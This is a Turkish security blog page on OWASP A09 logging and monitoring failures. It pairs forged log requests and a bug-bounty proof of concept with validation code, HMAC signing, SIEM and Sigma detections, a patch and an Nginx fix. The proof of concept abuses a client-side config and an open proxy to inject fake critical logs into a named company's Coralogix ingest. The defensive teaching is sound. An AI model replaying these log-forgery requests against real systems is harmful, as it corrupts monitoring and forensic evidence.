A09

Bu saldırı türünde, hataları ve şüpheli faaliyetleri doğru, bütünlüklü ve zamanında kaydedememe ile bunları izleyip alarmlara dönüştürememe halidir. Saldırgan, hedef sistemde zararlı faliyetlerini log manipülasyonları ile değiştirir. Bu saldırı loglama tespitini geciktirir, kanıtları zayıflatır ve saldırganın kalıcılığını artırır.

Tanım

Uygulama, altyapı ve kimlik katmanlarında üretilen olayların (authentication, authorization, state change, config drift, network egress) eksik veya yanlış biçimde kaydedilmesi veya bu olaylardan telemetri üretilip uyarılara dönüştürülememesi loglarda verinin kanıtlanamaması, log bütünlüğünün korunamaması, saat senkronizasyonunun bozuk olması ve gözlemlenebilirliğin yetersiz olması.
Örneğin API bruteforce 8 saat sürdü, login failure loglanıyordu ama SIEMe forward edilmedi. Account Takeover ve para transferleri oldu.

Root cause’lar

“info-only” log seviyesi nedeniyle güvenlik olaylarının atlanması.
Login, token refresh, MFA ayrı ve yapılandırılmış.
Log bütünlüğü için hmac ve değiştirilemez worm olmaması.
Saat senkronizasyonu ve timezone eksikliği.
noise ve yüksek false-positive nedeniyle kapatılmış uyarılar.
SIEM hatalı ingest, mTLS/allowlistin olmaması.
forwarder config hataları (buffer overflow, drop-on-full).
Yetki modeli zayıf, geliştirici logları silebiliyor.
Üretim dışı logların prod SIEMe karışması .
Runbook ve oncall süreçlerinin olmaması.

Etkiler & riskler

Gecikmiş tespit (MTTD) ve uzun toparlanma (MTTR).
Forensic kanıtın yetersizliği, hukuki/sigorta süreçleri zayıflar.
Persistence ve ıateral movement gizlenir.

Tespit

Anormal login failure
Beklenmeyen kaynak IP’den admin oturumlar.
Log ingest hataları
Saat kayması
Audit boşlukları
Agent kalp atışı (heartbeat) kesilmesi
Ani whitelist/alert kuralı değişiklikleri

Örnek log

{"@ts":"2025-10-02T14:00:03Z","app":"pay-api","lvl":"INFO","msg":"user login ok","labels":{"user":"alice","ip":"10.0.3.5"}}
{"@ts":"2025-10-02T14:00:04Z","app":"pay-api","lvl":"ERROR","msg":"balance=-999999","labels":{"tenant":"prod","sig":"AAAA"}}
{"@ts":"2025-10-02T14:00:05Z","app":"pay-api","lvl":"INFO","msg":"transfer ok","labels":{"amount":"1000000","source":"rum"}}

(Sahte: imza yok, negatif bakiye, “rum” kaynağı prod’a sızdırılmış.)

Vulnerable flow

İstemci sahte log hazırlar

POST /ingest HTTP/1.1
Host: log.example.com
Content-Type: application/json
Content-Length: 108

{"app":"pay-api","lvl":"INFO","msg":"transfer ok","labels":{"amount":"1000000","source":"rum"}}

Ingest proxy hiçbir doğrulama yapmadan geçirir

HTTP/1.1 202 Accepted
X-Forwarded-For: 198.51.100.77

Backend parser zayıf şema kontrolü ile kabul eder

POST /_bulk
{"index":{"_index":"logs"}}
{"app":"pay-api","lvl":"INFO","msg":"transfer ok","labels":{"amount":"1000000","source":"rum"}}

SIEM’de korelasyon yok; “source” whitelist dışı fark edilmez

HTTP/1.1 200 OK
{"result":"created"}

Saldırgan noise üretir, gerçek alarmlar gömülür

POST /ingest ... {"lvl":"ERROR","msg":"timeout","labels":{"component":"db","code":"ETIMEDOUT"}}

SOC geç fark eder; forensic için provenance bulunamaz

Server-side mitigation snippet

// app.js
const express = require('express');
const crypto = require('crypto');
const app = express();

const ALLOWED_APPS = new Set(['pay-api','auth-api']);
const ALLOWED_SOURCES = new Set(['srv','agent']);
const SHARED_TOKEN = process.env.INGEST_TOKEN; // rotate & store in KMS

app.use(express.json({ type: 'application/json', limit: '256kb' }));

function validate(req, res, next) {
  const token = req.header('X-Ingest-Token');
  if (!token || !crypto.timingSafeEqual(Buffer.from(token), Buffer.from(SHARED_TOKEN))) {
    return res.status(401).end();
  }
  const { app: appName, lvl, msg, labels } = req.body || {};
  if (!ALLOWED_APPS.has(appName)) return res.status(400).send('bad app');
  if (!['INFO','WARN','ERROR'].includes(lvl)) return res.status(400).send('bad level');
  if (!labels || !ALLOWED_SOURCES.has(labels.source || '')) return res.status(400).send('bad source');
  req.body.trace_id ||= crypto.randomUUID(); // enforce correlation id
  req.body.rcvd_at = new Date().toISOString(); // server timestamp
  next();
}

app.post('/ingest', validate, (req, res) => {
  // forward to SIEM via internal network only
  // TODO: add HMAC header (see snippet #2)
  res.status(202).json({ accepted: true, trace_id: req.body.trace_id });
});

app.listen(8443, () => console.log('ingest on 8443'));

Server-side mitigation snippet 2

import hmac, hashlib, base64, json, time

SECRET = b'kdf-rotated-key'  # rotate via KMS, track key-id
ALG = hashlib.sha256

def compute_signature(payload_bytes: bytes, ts: str, key_id: str) -> str:
    mac = hmac.new(SECRET, ts.encode()+b'.'+payload_bytes, ALG).digest()
    return f"{key_id}:{base64.b64encode(mac).decode()}"

def verify(headers, body_bytes):
    ts = headers.get('X-Timestamp')
    key_id, sig = headers.get('X-Signature',' :').split(':',1)
    if abs(time.time() - int(ts)) > 120: return False  # 2dk replay penceresi
    mac = hmac.new(SECRET, ts.encode()+b'.'+body_bytes, ALG).digest()
    return hmac.compare_digest(base64.b64encode(mac).decode(), sig)

SIEM detection

Tek istemciden ingest endpoint’ine ani artış (DoS)

index=proxy sourcetype=http method=POST uri="/ingest" earliest=-15m
| stats count by src_ip
| where count > 500

Açıklama: 15 dk’da tek IP >500 POST anomalisini loglar. Beklenmeyen label kombinasyonu (app=pay-api, source=rum)

index=logs app="pay-api" labels.source="rum" earliest=-24h
| stats count by labels.source, app

Açıklama: whitelist dışı kaynak ile app eşleşmelerini çıkarır.

SIEM detection / Elasticsearch Query DSL

Spike agg

{
  "query": { "bool": { "filter": [
    { "term": { "http.request.method": "POST" }},
    { "term": { "url.path": "/ingest" }},
    { "range": { "@timestamp": { "gte": "now-15m" }}}
  ]}},
  "aggs": { "by_ip": { "terms": { "field": "source.ip", "size": 50 } } }
}

Anomali: app-source uyumsuzluğu

{
  "query": { "bool": { "must": [
    { "term": { "app": "pay-api" }},
    { "term": { "labels.source": "rum" }}
  ]}}
}

Sigma rule (YAML)

title: Suspicious Log Ingestion From Unapproved Source
id: a09-fake-logs-001
logsource: { product: webserver, service: http }
detection:
  sel: 
    url.path: /ingest
    http.request.method: POST
    labels.source|contains: rum
  condition: sel
level: high
fields: [source.ip, app, labels.source, @timestamp]

Patch diff

--- a/src/Request.ts
+++ b/src/Request.ts
@@ -12,10 +12,21 @@ export async function ingest(req, res) {
-  const body = await req.json();
-  // directly forward
-  await http.post(SIEM_URL, body);
-  return res.status(202).end();
+  const body = await req.json();
+  const app = body.app; const source = body?.labels?.source;
+  if (!ALLOWED_APPS.has(app)) return res.status(400).send('bad app');
+  if (!ALLOWED_SOURCES.has(source)) return res.status(400).send('bad source');
+  const ts = Date.now().toString();
+  const payload = JSON.stringify(body);
+  const sig = hmac(ts + '.' + payload, KEY_ID);
+  await http.post(SIEM_URL, payload, {
+    headers: { 'X-Timestamp': ts, 'X-Signature': sig, 'X-Key-Id': KEY_ID }
+  });
+  return res.status(202).json({accepted:true});
 }

KANLI ÖRNEK

bugbounty programından öncesinde bulduğum ve bildirdiğim bir poc’u teknik ve kanıtlayıcı parça parça anlatacağım. Kodun ne yaptığı, protokol akışı, neden kabul edildiği, hangi kontrollerin eksik olduğu, tespit ve düzeltme önerileri hepsi mevcut.

Gösterdiklerim eskiden var olan ama bildirmem ile kapatılan bir gerçek bir zafiyete aittir, zafiyeti tekrarlamaya çalışmayınız. Bu bilgiler sadece bilgilendirme amaçlıdır herhangibi bir artniyet yoktur.

1) Ne yapıyor kısaca

İstemci tarafındaki window.sdkConfig değerlerini (özellikle proxyUrl ve suffix) manipüle ederek, üretim Coralogix RUM ingest uç noktasına doğrulamasız log göndermek. İstemci (CSP ile izinli) kurum proxy’si /cxproxy → cxforward query’siyle Coralogix RUM ingest; burada kaynak/doğruluğu ispatlanmayan log, doğruymuş gibi kabul ediliyor.

2) Kodun satır satır kritik noktaları

class EnesRequest {
  constructor(requestConfig) {
    this.requestConfig = requestConfig;
    this.resolvedUrl = '';
    this.resolvedHeaders = {};
    this.init();
  }

Sınıf, bir log gönderim istemcisi gibi davranıyor; konfigüasyonu alıp hedef URL/başlıkları hazırlıyor.

  init() {
    const sdkConfig = window.sdkConfig || {};
    const { proxyUrl, coralogixDomain = "US1", public_key } = sdkConfig;
    const { suffix, headers } = this.requestConfig;
    const cxEndpoint = `https://ingress.${coralogixDomain.toLowerCase()}.rum-ingress-coralogix.com${suffix}`;

Burası kritik window.sdkConfig istemciden değiştirilebilir. coralogixDomain + suffix birleştirilerek doğrudan Coralogix RUM ingest URL’si üretiliyor ( /browser/v1beta/logs).

    this.resolvedUrl = proxyUrl
      ? `${proxyUrl}?cxforward=${encodeURIComponent(cxEndpoint)}`
      : cxEndpoint;

Eğer proxyUrl varsa (CSP’de izinli), site proxy’si devreye giriyor ve hedef gerçek ingest cxforward parametresi ile iletiliyor. Böylece CORS/CSP engelleri baypas ediliyor; proxy bir açık forwarder gibi.

    if (public_key) {
      headers['Authorization'] = `Bearer ${public_key}`;
    }
    this.resolvedHeaders = headers;
  }

public_key taşıyıcı olarak Authorization: Bearer ekleniyor. RUM SDK’larında public key sıklıkla kimliklendirme değil kota/tenant yönlendirme içindir; burada yetkilendirme yerine kullanılması, kaynağı doğrulanmamış logların meşrulaşmasına yol açıyor.

  send(body) {
    return fetch(this.resolvedUrl, {
      method: 'POST',
      headers: this.resolvedHeaders,
      body,
    })

Son adımda POST ile log JSON’ı gönderiliyor; orijin kanıtı yok, proxy de doğrulamıyor.

3) Ağ/protokol akışı

İstemciden Proxye

POST /cxproxy?cxforward=https://ingress.us1.rum-ingress-coralogix.com/browser/v1beta/logs HTTP/1.1
Host: au.floqast.app
Content-Type: application/json
Authorization: Bearer <public_key>
Content-Length: 128

{"msg":"Eny tarafından gönderilen sahte log","severity":"critical","labels":{"injected":"true","attacker":"enes"}}

Proxyden Coralogixe

POST /browser/v1beta/logs HTTP/1.1
Host: ingress.us1.rum-ingress-coralogix.com
Content-Type: application/json
Authorization: Bearer <public_key>
X-Forwarded-For: 198.51.100.77
...
<body aynı>

Neden kabul ediliyor?

Kaynak doğrulaması yok: Proxy, cxforward’ı körlemesine forward ediyor (domain allowlist yok).
İçerik bütünlüğü yok: Log body’si imzasız (HMAC/EdDSA yok), replay koruması yok (X-Timestamp/nonce yok).
RUM ingest modeli: RUM uçları sıklıkla kamuya açık (tarayıcıdan veri bekler), “public key” tenant/stream eşlemesi olarak işlev görebilir; bu, kimlik doğrulama yerine kullanıldığında sahtecilik mümkün olur.

4) Güvenlik zafiyeti sınıflandırması

Security Logging & Monitoring Failures: Log provenance (kaynak kökeni) ve bütünlük garantileri yok; pipeline’a sahte telemetri giriyor → tespit/olay müdahalesi çarpıtılıyor.
Gözlemlenebilirlik kırılması: Alerting, forensics, SLO/SLA ölçümleri yanlış veriye dayanıyor.

5) İzlenebilir kanıtlar

Proxy access logları: /cxproxy için tek IP’den ani POST artışı; olağandışı cxforward hedefleri (regex ile dış domain).
RUM indeksinde anomaliler: labels.attacker=en es, injected=true gibi beklenmeyen label anahtarları/değerleri, aşırı ‘critical’ oranı ki onuda biz ayarlıyoruz, istesek low impact birşey gösterebilirdik.
Kaynak çeşitliliği: Aynı Authorization: Bearer <public_key> ile birçok ASN/IP.

6) Önerilen Düzeltmeler

Proxy tarafı

Sadece bu listeye forward et: ingress.(us1|eu1|ap1).rum-ingress-coralogix.com.
cxforward tam URL değil, önceden tanımlı anahtar olsun (örn. dst=rum_us1_logs).
İstemciden gelen Authorization strip et; sunucu kendi “upstream key”ini eklesin.
HMAC/time-bound imza zorunlu kıl: X-Timestamp, X-Signature.

Nginx (şablon)

filename

location = /cxproxy {
  if ($arg_dst !~ ^(rum_us1_logs|rum_eu1_logs)$) { return 400; }
  set $upstream "";
  if ($arg_dst = "rum_us1_logs") { set $upstream "https://ingress.us1.rum-ingress-coralogix.com/browser/v1beta/logs"; }
  proxy_set_header Authorization "";            # strip client header
  proxy_set_header X-Proxy-Auth "Bearer $proxy_secret"; # server-side credential
  proxy_pass $upstream;
}

(b) İstemci tarafı — güvenilmez konfigürasyona güvenme

window.sdkConfig → salt okunur inline, runtime’da override edilmesin.
public_key Authorization olarak kullanılmasın; sadece stream/tenant routing için kalsın.

(c) HMAC (sunucu üretir, upstream doğrular)

def make_sig(body: bytes, ts: str, key: bytes) -> str:
    import hmac, hashlib, base64
    mac = hmac.new(key, ts.encode()+b'.'+body, hashlib.sha256).digest()
    return base64.b64encode(mac).decode()
# Header: X-Timestamp, X-Signature; proxy ekler, istemci ekleyemez.

9) Neden kritik?

Kaynak doğrulaması ve içerik bütünlüğü olmayan bir log pipeline’ı, saldırganın tek bir tarayıcı konsolu ile üretim gözlemlenebilirliğini çöpe çevirmesine izin verir: sahte alarmlar, bastırılmış gerçek olaylar, bozulmuş forensik ve güvenilmez metrikler. Bu, A09’un birebir örneğidir.

Testler yalnızca hedef sistem sahibiyle koordineli yapılmalı, üretim etkisi yaratmamak için oran sınırlaması/rate limit ile çalışılmalı ve kanıtlar PII içermemelidir. Açık kapatılana kadar teknik ayrıntılar (anahtarlar/endpoint’ler) kısmen redakte edilmelidir.

Genel

Opsec

ReserveEng

Siber Güvenlik

Web3

CTI

CTF

Tanım

Root cause’lar

Etkiler & riskler

Tespit

Örnek log

Vulnerable flow

Server-side mitigation snippet

Server-side mitigation snippet 2

SIEM detection

SIEM detection / Elasticsearch Query DSL

Sigma rule (YAML)

Patch diff

KANLI ÖRNEK

1) Ne yapıyor kısaca

2) Kodun satır satır kritik noktaları

3) Ağ/protokol akışı

4) Güvenlik zafiyeti sınıflandırması

5) İzlenebilir kanıtlar

6) Önerilen Düzeltmeler

9) Neden kritik?

​Tanım

​Root cause’lar

​Etkiler & riskler

​Tespit

​Örnek log

​Vulnerable flow

​Server-side mitigation snippet

​Server-side mitigation snippet 2

​SIEM detection

​SIEM detection / Elasticsearch Query DSL

​Sigma rule (YAML)

​Patch diff

​KANLI ÖRNEK

​1) Ne yapıyor kısaca

​2) Kodun satır satır kritik noktaları

​3) Ağ/protokol akışı

​4) Güvenlik zafiyeti sınıflandırması

​5) İzlenebilir kanıtlar

​6) Önerilen Düzeltmeler

​9) Neden kritik?

Tanım

Root cause’lar

Etkiler & riskler

Tespit

Örnek log

Vulnerable flow

Server-side mitigation snippet

Server-side mitigation snippet 2

SIEM detection

SIEM detection / Elasticsearch Query DSL

Sigma rule (YAML)

Patch diff

KANLI ÖRNEK

1) Ne yapıyor kısaca

2) Kodun satır satır kritik noktaları

3) Ağ/protokol akışı

4) Güvenlik zafiyeti sınıflandırması

5) İzlenebilir kanıtlar

6) Önerilen Düzeltmeler

9) Neden kritik?